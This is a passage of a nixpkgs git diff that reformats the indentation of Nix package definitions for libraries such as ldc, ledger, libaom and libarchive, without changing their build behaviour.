+    "-Dplain_cuda=false"
+    "-Daccelerate=false"
+    "-Dmetal=disabled"
+    "-Dembed=false"
+  ]
+  # in version 31 this option will be required
+  ++ lib.optionals (lib.versionAtLeast version "0.31") [ "-Dnative_cuda=false" ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/lc/lcevcdec/package.nix b/pkgs/by-name/lc/lcevcdec/package.nix
index 48c3edb438b2..e6b7aa25d4a2 100644
--- a/pkgs/by-name/lc/lcevcdec/package.nix
+++ b/pkgs/by-name/lc/lcevcdec/package.nix
@@ -28,23 +28,22 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-PcV31lLABv7SGzrD/+rR9j1Z9/uZrp1hFPdW0EZwOqc=";
   };
 
-  postPatch =
-    ''
-      substituteInPlace cmake/tools/version_files.py \
-        --replace-fail "args.git_version" '"${finalAttrs.version}"' \
-        --replace-fail "args.git_hash" '"${finalAttrs.src.rev}"' \
-        --replace-fail "args.git_date" '"1970-01-01"'
-      substituteInPlace cmake/templates/lcevc_dec.pc.in \
-        --replace-fail "@GIT_SHORT_VERSION@" "${finalAttrs.version}"
+  postPatch = ''
+    substituteInPlace cmake/tools/version_files.py \
+      --replace-fail "args.git_version" '"${finalAttrs.version}"' \
+      --replace-fail "args.git_hash" '"${finalAttrs.src.rev}"' \
+      --replace-fail "args.git_date" '"1970-01-01"'
+    substituteInPlace cmake/templates/lcevc_dec.pc.in \
+      --replace-fail "@GIT_SHORT_VERSION@" "${finalAttrs.version}"
 
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.avxSupport) ''
-      substituteInPlace cmake/modules/Compiler/GNU.cmake \
-        --replace-fail "-mavx" ""
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.avxSupport) ''
+    substituteInPlace cmake/modules/Compiler/GNU.cmake \
+      --replace-fail "-mavx" ""
 
-       substituteInPlace src/core/decoder/src/common/simd.c \
-        --replace-fail "((_xgetbv(kControlRegister) & kOSXSaveMask) == kOSXSaveMask)" "false"
-    '';
+     substituteInPlace src/core/decoder/src/common/simd.c \
+      --replace-fail "((_xgetbv(kControlRegister) & kOSXSaveMask) == kOSXSaveMask)" "false"
+  '';
 
   env = {
     includedir = "${placeholder "dev"}/include";
diff --git a/pkgs/by-name/lc/lcov/package.nix b/pkgs/by-name/lc/lcov/package.nix
index bde039d51a66..3d5137dab29f 100644
--- a/pkgs/by-name/lc/lcov/package.nix
+++ b/pkgs/by-name/lc/lcov/package.nix
@@ -17,7 +17,8 @@ let
     perlPackages.GD
     perlPackages.JSONXS
     perlPackages.PathTools
-  ] ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ perlPackages.MemoryProcess ];
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ perlPackages.MemoryProcess ];
 in
 stdenv.mkDerivation rec {
   pname = "lcov";
diff --git a/pkgs/by-name/ld/ldb/package.nix b/pkgs/by-name/ld/ldb/package.nix
index a83148a6b8e0..1ff91e9c5ca2 100644
--- a/pkgs/by-name/ld/ldb/package.nix
+++ b/pkgs/by-name/ld/ldb/package.nix
@@ -64,16 +64,15 @@ stdenv.mkDerivation (finalAttrs: {
 
   wafPath = "buildtools/bin/waf";
 
-  wafConfigureFlags =
-    [
-      "--bundled-libraries=NONE"
-      "--builtin-libraries=replace"
-      "--without-ldb-lmdb"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "--cross-compile"
-      "--cross-execute=${stdenv.hostPlatform.emulator buildPackages}"
-    ];
+  wafConfigureFlags = [
+    "--bundled-libraries=NONE"
+    "--builtin-libraries=replace"
+    "--without-ldb-lmdb"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "--cross-compile"
+    "--cross-execute=${stdenv.hostPlatform.emulator buildPackages}"
+  ];
 
   # python-config from build Python gives incorrect values when cross-compiling.
   # If python-config is not found, the build falls back to using the sysconfig
diff --git a/pkgs/by-name/ld/ldc/package.nix b/pkgs/by-name/ld/ldc/package.nix
index ca6837771718..c263de3cc99d 100644
--- a/pkgs/by-name/ld/ldc/package.nix
+++ b/pkgs/by-name/ld/ldc/package.nix
@@ -56,42 +56,40 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  postPatch =
-    ''
-      patchShebangs runtime tools tests
+  postPatch = ''
+    patchShebangs runtime tools tests
 
-      rm tests/dmd/fail_compilation/mixin_gc.d
-      rm tests/dmd/runnable/xtest46_gc.d
-      rm tests/dmd/runnable/testptrref_gc.d
+    rm tests/dmd/fail_compilation/mixin_gc.d
+    rm tests/dmd/runnable/xtest46_gc.d
+    rm tests/dmd/runnable/testptrref_gc.d
 
-      # test depends on current year
-      rm tests/dmd/compilable/ddocYear.d
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      substituteInPlace runtime/phobos/std/socket.d --replace-fail "assert(ih.addrList[0] == 0x7F_00_00_01);" ""
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace runtime/phobos/std/socket.d --replace-fail "foreach (name; names)" "names = []; foreach (name; names)"
+    # test depends on current year
+    rm tests/dmd/compilable/ddocYear.d
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    substituteInPlace runtime/phobos/std/socket.d --replace-fail "assert(ih.addrList[0] == 0x7F_00_00_01);" ""
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace runtime/phobos/std/socket.d --replace-fail "foreach (name; names)" "names = []; foreach (name; names)"
 
-      # https://github.com/NixOS/nixpkgs/issues/34817
-      rm -r tests/plugins/addFuncEntryCall
-    '';
+    # https://github.com/NixOS/nixpkgs/issues/34817
+    rm -r tests/plugins/addFuncEntryCall
+  '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      ldcBootstrap
-      lit
-      lit.python
-      llvm_18.dev
-      makeWrapper
-      ninja
-      unzip
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      # https://github.com/NixOS/nixpkgs/pull/36378#issuecomment-385034818
-      gdb
-    ];
+  nativeBuildInputs = [
+    cmake
+    ldcBootstrap
+    lit
+    lit.python
+    llvm_18.dev
+    makeWrapper
+    ninja
+    unzip
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    # https://github.com/NixOS/nixpkgs/pull/36378#issuecomment-385034818
+    gdb
+  ];
 
   buildInputs = [
     curl
diff --git a/pkgs/by-name/ld/ldmud/package.nix b/pkgs/by-name/ld/ldmud/package.nix
index e024c7822a89..46d77d0614d2 100644
--- a/pkgs/by-name/ld/ldmud/package.nix
+++ b/pkgs/by-name/ld/ldmud/package.nix
@@ -49,21 +49,20 @@ stdenv.mkDerivation rec {
     pkg-config
     bison
   ];
-  buildInputs =
-    [
-      libgcrypt
-      libxcrypt-legacy
-      pcre
-      json_c
-      libxml2
-    ]
-    ++ lib.optional mccpSupport zlib
-    ++ lib.optional mysqlSupport libmysqlclient
-    ++ lib.optional postgresSupport libpq
-    ++ lib.optional sqliteSupport sqlite
-    ++ lib.optional tlsSupport openssl
-    ++ lib.optional pythonSupport python310
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
+  buildInputs = [
+    libgcrypt
+    libxcrypt-legacy
+    pcre
+    json_c
+    libxml2
+  ]
+  ++ lib.optional mccpSupport zlib
+  ++ lib.optional mysqlSupport libmysqlclient
+  ++ lib.optional postgresSupport libpq
+  ++ lib.optional sqliteSupport sqlite
+  ++ lib.optional tlsSupport openssl
+  ++ lib.optional pythonSupport python310
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
 
   # To support systems without autoconf LD puts its configure.ac in a non-default
   # location and uses a helper script. We skip that script and symlink the .ac
diff --git a/pkgs/by-name/ld/ldns/package.nix b/pkgs/by-name/ld/ldns/package.nix
index 3020d2d33d9c..4d2671f6fbb8 100644
--- a/pkgs/by-name/ld/ldns/package.nix
+++ b/pkgs/by-name/ld/ldns/package.nix
@@ -36,18 +36,17 @@ stdenv.mkDerivation rec {
 
   buildInputs = [ openssl ];
 
-  configureFlags =
-    [
-      "--with-ssl=${openssl.dev}"
-      "--with-trust-anchor=${dns-root-data}/root.key"
-      "--with-drill"
-      "--disable-gost"
-      "--with-examples"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "ac_cv_func_malloc_0_nonnull=yes"
-      "ac_cv_func_realloc_0_nonnull=yes"
-    ];
+  configureFlags = [
+    "--with-ssl=${openssl.dev}"
+    "--with-trust-anchor=${dns-root-data}/root.key"
+    "--with-drill"
+    "--disable-gost"
+    "--with-examples"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "ac_cv_func_malloc_0_nonnull=yes"
+    "ac_cv_func_realloc_0_nonnull=yes"
+  ];
 
   nativeCheckInputs = [ which ];
   doCheck = false; # fails. missing some files
diff --git a/pkgs/by-name/le/ledger/package.nix b/pkgs/by-name/le/ledger/package.nix
index ab0bac61435d..f0207c982af5 100644
--- a/pkgs/by-name/le/ledger/package.nix
+++ b/pkgs/by-name/le/ledger/package.nix
@@ -54,30 +54,30 @@ stdenv.mkDerivation rec {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optionals usePython [ "py" ];
+  ]
+  ++ lib.optionals usePython [ "py" ];
 
-  buildInputs =
-    [
-      gmp
-      mpfr
-      libedit
-      gnused
-    ]
-    ++ lib.optionals gpgmeSupport [
-      gpgme
-    ]
-    ++ (
-      if usePython then
-        [
-          python3
-          (boost.override {
-            enablePython = true;
-            python = python3;
-          })
-        ]
-      else
-        [ boost ]
-    );
+  buildInputs = [
+    gmp
+    mpfr
+    libedit
+    gnused
+  ]
+  ++ lib.optionals gpgmeSupport [
+    gpgme
+  ]
+  ++ (
+    if usePython then
+      [
+        python3
+        (boost.override {
+          enablePython = true;
+          python = python3;
+        })
+      ]
+    else
+      [ boost ]
+  );
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/by-name/le/ledger2beancount/package.nix b/pkgs/by-name/le/ledger2beancount/package.nix
index ee6c17494df0..51cd01a9ff19 100644
--- a/pkgs/by-name/le/ledger2beancount/package.nix
+++ b/pkgs/by-name/le/ledger2beancount/package.nix
@@ -38,7 +38,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     perlPackages.perl
     beancount
-  ] ++ perlDeps;
+  ]
+  ++ perlDeps;
 
   makeFlags = [ "prefix=$(out)" ];
   installFlags = [ "INSTALL=install" ];
diff --git a/pkgs/by-name/le/legends-of-equestria/package.nix b/pkgs/by-name/le/legends-of-equestria/package.nix
index 6ce66722910d..f672a1899e90 100644
--- a/pkgs/by-name/le/legends-of-equestria/package.nix
+++ b/pkgs/by-name/le/legends-of-equestria/package.nix
@@ -47,37 +47,36 @@ let
     };
   };
 
-  runtimeDeps =
-    [
-      dbus.lib
-      xorg_sys_opengl
-      systemd
-      libcap.lib
-      libdrm
-      pulseaudio
-      libsndfile
-      flac
-      libvorbis
-      mpg123
-      lame.lib
-      libGL
-      vulkan-loader
-      libasyncns
-    ]
-    ++ (with xorg; [
-      libX11
-      libxcb
-      libXau
-      libXdmcp
-      libXext
-      libXcursor
-      libXrender
-      libXfixes
-      libXinerama
-      libXi
-      libXrandr
-      libXScrnSaver
-    ]);
+  runtimeDeps = [
+    dbus.lib
+    xorg_sys_opengl
+    systemd
+    libcap.lib
+    libdrm
+    pulseaudio
+    libsndfile
+    flac
+    libvorbis
+    mpg123
+    lame.lib
+    libGL
+    vulkan-loader
+    libasyncns
+  ]
+  ++ (with xorg; [
+    libX11
+    libxcb
+    libXau
+    libXdmcp
+    libXext
+    libXcursor
+    libXrender
+    libXfixes
+    libXinerama
+    libXi
+    libXrandr
+    libXScrnSaver
+  ]);
 in
 stdenv.mkDerivation {
   inherit pname version;
@@ -109,14 +108,13 @@ stdenv.mkDerivation {
   buildInputs = [
     libgcc
   ];
-  nativeBuildInputs =
-    [
-      makeWrapper
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      copyDesktopItems
-      autoPatchelfHook
-    ];
+  nativeBuildInputs = [
+    makeWrapper
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    copyDesktopItems
+    autoPatchelfHook
+  ];
 
   installPhase =
     if stdenv.hostPlatform.isLinux then
diff --git a/pkgs/by-name/le/lenmus/package.nix b/pkgs/by-name/le/lenmus/package.nix
index 5b01f4f6aef6..c01af1a84756 100644
--- a/pkgs/by-name/le/lenmus/package.nix
+++ b/pkgs/by-name/le/lenmus/package.nix
@@ -41,14 +41,13 @@ stdenv.mkDerivation (finalAttrs: {
     sed -i 's/fixup_bundle.*")/")/g' CMakeLists.txt
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      makeWrapper
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    makeWrapper
+  ];
 
   buildInputs = [
     boost
diff --git a/pkgs/by-name/le/lerc/package.nix b/pkgs/by-name/le/lerc/package.nix
index 1443ce855449..e164c6e00761 100644
--- a/pkgs/by-name/le/lerc/package.nix
+++ b/pkgs/by-name/le/lerc/package.nix
@@ -30,22 +30,21 @@ stdenv.mkDerivation (finalAttrs: {
     ${buildPackages.dos2unix}/bin/dos2unix src/LercLib/fpl_EsriHuffman.cpp src/LercLib/fpl_Lerc2Ext.cpp
   '';
 
-  patches =
-    [
-      # https://github.com/Esri/lerc/pull/227
-      (fetchpatch {
-        name = "use-cmake-install-full-dir.patch";
-        url = "https://github.com/Esri/lerc/commit/5462ca7f7dfb38c65e16f5abfd96873af177a0f8.patch";
-        hash = "sha256-qaNR3QwLe0AB6vu1nXOh9KhlPdWM3DmgCJj4d0VdOUk=";
-      })
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
-      (fetchpatch {
-        url = "https://raw.githubusercontent.com/freebsd/freebsd-ports/ee9e39ceb1af729ac33854b5f3de652cb5ce0eca/graphics/lerc/files/patch-_assert";
-        hash = "sha256-agvGqgIsKS8v43UZdTVxDRDGbZdj2+AzKoQONvQumB4=";
-        extraPrefix = "";
-      })
-    ];
+  patches = [
+    # https://github.com/Esri/lerc/pull/227
+    (fetchpatch {
+      name = "use-cmake-install-full-dir.patch";
+      url = "https://github.com/Esri/lerc/commit/5462ca7f7dfb38c65e16f5abfd96873af177a0f8.patch";
+      hash = "sha256-qaNR3QwLe0AB6vu1nXOh9KhlPdWM3DmgCJj4d0VdOUk=";
+    })
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
+    (fetchpatch {
+      url = "https://raw.githubusercontent.com/freebsd/freebsd-ports/ee9e39ceb1af729ac33854b5f3de652cb5ce0eca/graphics/lerc/files/patch-_assert";
+      hash = "sha256-agvGqgIsKS8v43UZdTVxDRDGbZdj2+AzKoQONvQumB4=";
+      extraPrefix = "";
+    })
+  ];
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/by-name/lg/lgogdownloader/package.nix b/pkgs/by-name/lg/lgogdownloader/package.nix
index 4136ae04bcd7..da559b62daaa 100644
--- a/pkgs/by-name/lg/lgogdownloader/package.nix
+++ b/pkgs/by-name/lg/lgogdownloader/package.nix
@@ -35,22 +35,22 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
     help2man
     html-tidy
-  ] ++ lib.optional enableGui libsForQt5.wrapQtAppsHook;
+  ]
+  ++ lib.optional enableGui libsForQt5.wrapQtAppsHook;
 
-  buildInputs =
-    [
-      boost
-      curl
-      htmlcxx
-      jsoncpp
-      liboauth
-      rhash
-      tinyxml-2
-    ]
-    ++ lib.optionals enableGui [
-      libsForQt5.qtbase
-      libsForQt5.qtwebengine
-    ];
+  buildInputs = [
+    boost
+    curl
+    htmlcxx
+    jsoncpp
+    liboauth
+    rhash
+    tinyxml-2
+  ]
+  ++ lib.optionals enableGui [
+    libsForQt5.qtbase
+    libsForQt5.qtwebengine
+  ];
 
   cmakeFlags = lib.optional enableGui "-DUSE_QT_GUI=ON";
 
diff --git a/pkgs/by-name/li/lib2geom/package.nix b/pkgs/by-name/li/lib2geom/package.nix
index 1168e7bc2384..437c79c94500 100644
--- a/pkgs/by-name/li/lib2geom/package.nix
+++ b/pkgs/by-name/li/lib2geom/package.nix
@@ -93,14 +93,13 @@ stdenv.mkDerivation (finalAttrs: {
     '';
 
   passthru = {
-    tests =
-      {
-        inherit inkscape;
-      }
-      # Make sure x86_64-linux -> aarch64-linux cross compilation works
-      // lib.optionalAttrs (stdenv.buildPlatform.system == "x86_64-linux") {
-        aarch64-cross = pkgsCross.aarch64-multiplatform.lib2geom;
-      };
+    tests = {
+      inherit inkscape;
+    }
+    # Make sure x86_64-linux -> aarch64-linux cross compilation works
+    // lib.optionalAttrs (stdenv.buildPlatform.system == "x86_64-linux") {
+      aarch64-cross = pkgsCross.aarch64-multiplatform.lib2geom;
+    };
   };
 
   meta = with lib; {
diff --git a/pkgs/by-name/li/lib3mf/package.nix b/pkgs/by-name/li/lib3mf/package.nix
index 767dd6cfed66..4ae6ad23420a 100644
--- a/pkgs/by-name/li/lib3mf/package.nix
+++ b/pkgs/by-name/li/lib3mf/package.nix
@@ -49,7 +49,8 @@ stdenv.mkDerivation rec {
     gtest
     openssl
     zlib
-  ] ++ lib.optional (!stdenv.hostPlatform.isDarwin) libuuid;
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) libuuid;
 
   postPatch = ''
     # fix libdir=''${exec_prefix}/@CMAKE_INSTALL_LIBDIR@
diff --git a/pkgs/by-name/li/libaccounts-glib/package.nix b/pkgs/by-name/li/libaccounts-glib/package.nix
index aa4fd5f15009..150d394e7075 100644
--- a/pkgs/by-name/li/libaccounts-glib/package.nix
+++ b/pkgs/by-name/li/libaccounts-glib/package.nix
@@ -39,22 +39,21 @@ stdenv.mkDerivation rec {
     hash = "sha256-mLhcwp8rhCGSB1K6rTWT0tuiINzgwULwXINfCbgPKEg=";
   };
 
-  nativeBuildInputs =
-    [
-      check
-      docbook_xml_dtd_43
-      docbook_xsl
-      glibcLocales
-      gobject-introspection
-      gtk-doc
-      meson
-      ninja
-      pkg-config
-      vala
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    check
+    docbook_xml_dtd_43
+    docbook_xsl
+    glibcLocales
+    gobject-introspection
+    gtk-doc
+    meson
+    ninja
+    pkg-config
+    vala
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   buildInputs = [
     glib
diff --git a/pkgs/by-name/li/libadwaita/package.nix b/pkgs/by-name/li/libadwaita/package.nix
index 427eac7604c9..db1fed30f662 100644
--- a/pkgs/by-name/li/libadwaita/package.nix
+++ b/pkgs/by-name/li/libadwaita/package.nix
@@ -55,13 +55,12 @@ stdenv.mkDerivation (finalAttrs: {
     desktop-file-utils # for validate-desktop-file
   ];
 
-  mesonFlags =
-    [
-      "-Ddocumentation=true"
-    ]
-    ++ lib.optionals (!finalAttrs.finalPackage.doCheck) [
-      "-Dtests=false"
-    ];
+  mesonFlags = [
+    "-Ddocumentation=true"
+  ]
+  ++ lib.optionals (!finalAttrs.finalPackage.doCheck) [
+    "-Dtests=false"
+  ];
 
   buildInputs = [
     appstream
@@ -72,13 +71,12 @@ stdenv.mkDerivation (finalAttrs: {
     gtk4
   ];
 
-  nativeCheckInputs =
-    [
-      adwaita-icon-theme
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      xvfb-run
-    ];
+  nativeCheckInputs = [
+    adwaita-icon-theme
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    xvfb-run
+  ];
 
   # Tests had to be disabled on Darwin because test-button-content fails
   #
diff --git a/pkgs/by-name/li/libaio/package.nix b/pkgs/by-name/li/libaio/package.nix
index ca30fc15d6bc..13f12dad696e 100644
--- a/pkgs/by-name/li/libaio/package.nix
+++ b/pkgs/by-name/li/libaio/package.nix
@@ -23,7 +23,8 @@ stdenv.mkDerivation rec {
 
   makeFlags = [
     "prefix=${placeholder "out"}"
-  ] ++ lib.optional stdenv.hostPlatform.isStatic "ENABLE_SHARED=0";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isStatic "ENABLE_SHARED=0";
 
   hardeningDisable = lib.optional (stdenv.hostPlatform.isi686) "stackprotector";
 
diff --git a/pkgs/by-name/li/libamplsolver/package.nix b/pkgs/by-name/li/libamplsolver/package.nix
index e83085570eba..3ad35f748471 100644
--- a/pkgs/by-name/li/libamplsolver/package.nix
+++ b/pkgs/by-name/li/libamplsolver/package.nix
@@ -25,21 +25,20 @@ stdenv.mkDerivation {
     })
   ];
 
-  installPhase =
-    ''
-      runHook preInstall
-      pushd sys.$(uname -m).$(uname -s)
-      install -D -m 0644 *.h -t $out/include
-      install -D -m 0644 *${stdenv.hostPlatform.extensions.sharedLibrary}* -t $out/lib
-      install -D -m 0644 *.a -t $out/lib
-      popd
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      install_name_tool -id $out/lib/libamplsolver.dylib $out/lib/libamplsolver.dylib
-    ''
-    + ''
-      runHook postInstall
-    '';
+  installPhase = ''
+    runHook preInstall
+    pushd sys.$(uname -m).$(uname -s)
+    install -D -m 0644 *.h -t $out/include
+    install -D -m 0644 *${stdenv.hostPlatform.extensions.sharedLibrary}* -t $out/lib
+    install -D -m 0644 *.a -t $out/lib
+    popd
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    install_name_tool -id $out/lib/libamplsolver.dylib $out/lib/libamplsolver.dylib
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   meta = with lib; {
     description = "Library of routines that help solvers work with AMPL";
diff --git a/pkgs/by-name/li/libaom/package.nix b/pkgs/by-name/li/libaom/package.nix
index 8e6b7d0fe83c..4783e10c9ece 100644
--- a/pkgs/by-name/li/libaom/package.nix
+++ b/pkgs/by-name/li/libaom/package.nix
@@ -31,19 +31,18 @@ stdenv.mkDerivation rec {
     stripRoot = false;
   };
 
-  patches =
-    [
-      ./outputs.patch
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      # This patch defines `_POSIX_C_SOURCE`, which breaks system headers
-      # on Darwin.
-      (fetchurl {
-        name = "musl.patch";
-        url = "https://gitweb.gentoo.org/repo/gentoo.git/plain/media-libs/libaom/files/libaom-3.4.0-posix-c-source-ftello.patch?id=50c7c4021e347ee549164595280cf8a23c960959";
-        hash = "sha256-6+u7GTxZcSNJgN7D+s+XAVwbMnULufkTcQ0s7l+Ydl0=";
-      })
-    ];
+  patches = [
+    ./outputs.patch
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    # This patch defines `_POSIX_C_SOURCE`, which breaks system headers
+    # on Darwin.
+    (fetchurl {
+      name = "musl.patch";
+      url = "https://gitweb.gentoo.org/repo/gentoo.git/plain/media-libs/libaom/files/libaom-3.4.0-posix-c-source-ftello.patch?id=50c7c4021e347ee549164595280cf8a23c960959";
+      hash = "sha256-6+u7GTxZcSNJgN7D+s+XAVwbMnULufkTcQ0s7l+Ydl0=";
+    })
+  ];
 
   nativeBuildInputs = [
     yasm
@@ -74,30 +73,28 @@ stdenv.mkDerivation rec {
   # Configuration options:
   # https://aomedia.googlesource.com/aom/+/refs/heads/master/build/cmake/aom_config_defaults.cmake
 
-  cmakeFlags =
-    [
-      "-DBUILD_SHARED_LIBS=ON"
-      "-DENABLE_TESTS=OFF"
-    ]
-    ++ lib.optionals enableVmaf [
-      "-DCONFIG_TUNE_VMAF=1"
-    ]
-    ++ lib.optionals (isCross && !stdenv.hostPlatform.isx86) [
-      "-DCMAKE_ASM_COMPILER=${lib.getBin stdenv.cc}/bin/${stdenv.cc.targetPrefix}cc"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch32 [
-      # armv7l-hf-multiplatform does not support NEON
-      # see lib/systems/platform.nix
-      "-DENABLE_NEON=0"
-    ];
+  cmakeFlags = [
+    "-DBUILD_SHARED_LIBS=ON"
+    "-DENABLE_TESTS=OFF"
+  ]
+  ++ lib.optionals enableVmaf [
+    "-DCONFIG_TUNE_VMAF=1"
+  ]
+  ++ lib.optionals (isCross && !stdenv.hostPlatform.isx86) [
+    "-DCMAKE_ASM_COMPILER=${lib.getBin stdenv.cc}/bin/${stdenv.cc.targetPrefix}cc"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch32 [
+    # armv7l-hf-multiplatform does not support NEON
+    # see lib/systems/platform.nix
+    "-DENABLE_NEON=0"
+  ];
 
-  postFixup =
-    ''
-      moveToOutput lib/libaom.a "$static"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isStatic ''
-      ln -s $static $out
-    '';
+  postFixup = ''
+    moveToOutput lib/libaom.a "$static"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isStatic ''
+    ln -s $static $out
+  '';
 
   outputs = [
     "out"
diff --git a/pkgs/by-name/li/libapparmor/package.nix b/pkgs/by-name/li/libapparmor/package.nix
index caba93785756..31e499717224 100644
--- a/pkgs/by-name/li/libapparmor/package.nix
+++ b/pkgs/by-name/li/libapparmor/package.nix
@@ -49,29 +49,31 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      autoconf-archive
-      autoreconfHook
-      bison
-      flex
-      pkg-config
-      swig
-      ncurses
-      which
-      dejagnu
-      perl # podchecker
-    ]
-    ++ lib.optionals withPython [
-      python3Packages.setuptools
-    ];
+  nativeBuildInputs = [
+    autoconf-archive
+    autoreconfHook
+    bison
+    flex
+    pkg-config
+    swig
+    ncurses
+    which
+    dejagnu
+    perl # podchecker
+  ]
+  ++ lib.optionals withPython [
+    python3Packages.setuptools
+  ];
 
   nativeCheckInputs = [
     python3Packages.pythonImportsCheckHook
   ];
 
-  buildInputs =
-    [ libxcrypt ] ++ (lib.optional withPerl perl) ++ (lib.optional withPython python3Packages.python);
+  buildInputs = [
+    libxcrypt
+  ]
+  ++ (lib.optional withPerl perl)
+  ++ (lib.optional withPython python3Packages.python);
 
   # required to build apparmor-parser
   dontDisableStatic = true;
diff --git a/pkgs/by-name/li/libappindicator/package.nix b/pkgs/by-name/li/libappindicator/package.nix
index 8de5d08ed941..ac61fc224788 100644
--- a/pkgs/by-name/li/libappindicator/package.nix
+++ b/pkgs/by-name/li/libappindicator/package.nix
@@ -67,24 +67,23 @@ stdenv.mkDerivation (finalAttrs: {
     }
     .${gtkVersion} or throwBadGtkVersion;
 
-  buildInputs =
-    [
-      glib
-      dbus-glib
-      {
-        "2" = libindicator-gtk2;
-        "3" = libindicator-gtk3;
-      }
-      .${gtkVersion} or throwBadGtkVersion
-    ]
-    ++ lib.optionals monoSupport [
-      mono
-      {
-        "2" = gtk-sharp-2_0;
-        "3" = gtk-sharp-3_0;
-      }
-      .${gtkVersion} or throwBadGtkVersion
-    ];
+  buildInputs = [
+    glib
+    dbus-glib
+    {
+      "2" = libindicator-gtk2;
+      "3" = libindicator-gtk3;
+    }
+    .${gtkVersion} or throwBadGtkVersion
+  ]
+  ++ lib.optionals monoSupport [
+    mono
+    {
+      "2" = gtk-sharp-2_0;
+      "3" = gtk-sharp-3_0;
+    }
+    .${gtkVersion} or throwBadGtkVersion
+  ];
 
   preAutoreconf = ''
     gtkdocize
diff --git a/pkgs/by-name/li/libarchive/package.nix b/pkgs/by-name/li/libarchive/package.nix
index d8e1d405f985..03d04bb84be4 100644
--- a/pkgs/by-name/li/libarchive/package.nix
+++ b/pkgs/by-name/li/libarchive/package.nix
@@ -65,23 +65,22 @@ stdenv.mkDerivation (finalAttrs: {
 
   postPatch =
     let
-      skipTestPaths =
-        [
-          # test won't work in nix sandbox
-          "libarchive/test/test_write_disk_perms.c"
-          # the filesystem does not necessarily have sparse capabilities
-          "libarchive/test/test_sparse_basic.c"
-          # the filesystem does not necessarily have hardlink capabilities
-          "libarchive/test/test_write_disk_hardlink.c"
-          # access-time-related tests flakey on some systems
-          "cpio/test/test_option_a.c"
-          "cpio/test/test_option_t.c"
-        ]
-        ++ lib.optionals (stdenv.hostPlatform.isAarch64 && stdenv.hostPlatform.isLinux) [
-          # only on some aarch64-linux systems?
-          "cpio/test/test_basic.c"
-          "cpio/test/test_format_newc.c"
-        ];
+      skipTestPaths = [
+        # test won't work in nix sandbox
+        "libarchive/test/test_write_disk_perms.c"
+        # the filesystem does not necessarily have sparse capabilities
+        "libarchive/test/test_sparse_basic.c"
+        # the filesystem does not necessarily have hardlink capabilities
+        "libarchive/test/test_write_disk_hardlink.c"
+        # access-time-related tests flakey on some systems
+        "cpio/test/test_option_a.c"
+        "cpio/test/test_option_t.c"
+      ]
+      ++ lib.optionals (stdenv.hostPlatform.isAarch64 && stdenv.hostPlatform.isLinux) [
+        # only on some aarch64-linux systems?
+        "cpio/test/test_basic.c"
+        "cpio/test/test_format_newc.c"
+      ];
       removeTest = testPath: ''
         substituteInPlace Makefile.am --replace-fail "${testPath}" ""
         rm "${testPath}"
@@ -99,21 +98,20 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      bzip2
-      lzo
-      openssl
-      xz
-      zlib
-      zstd
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      acl
-      attr
-      e2fsprogs
-    ]
-    ++ lib.optional xarSupport libxml2;
+  buildInputs = [
+    bzip2
+    lzo
+    openssl
+    xz
+    zlib
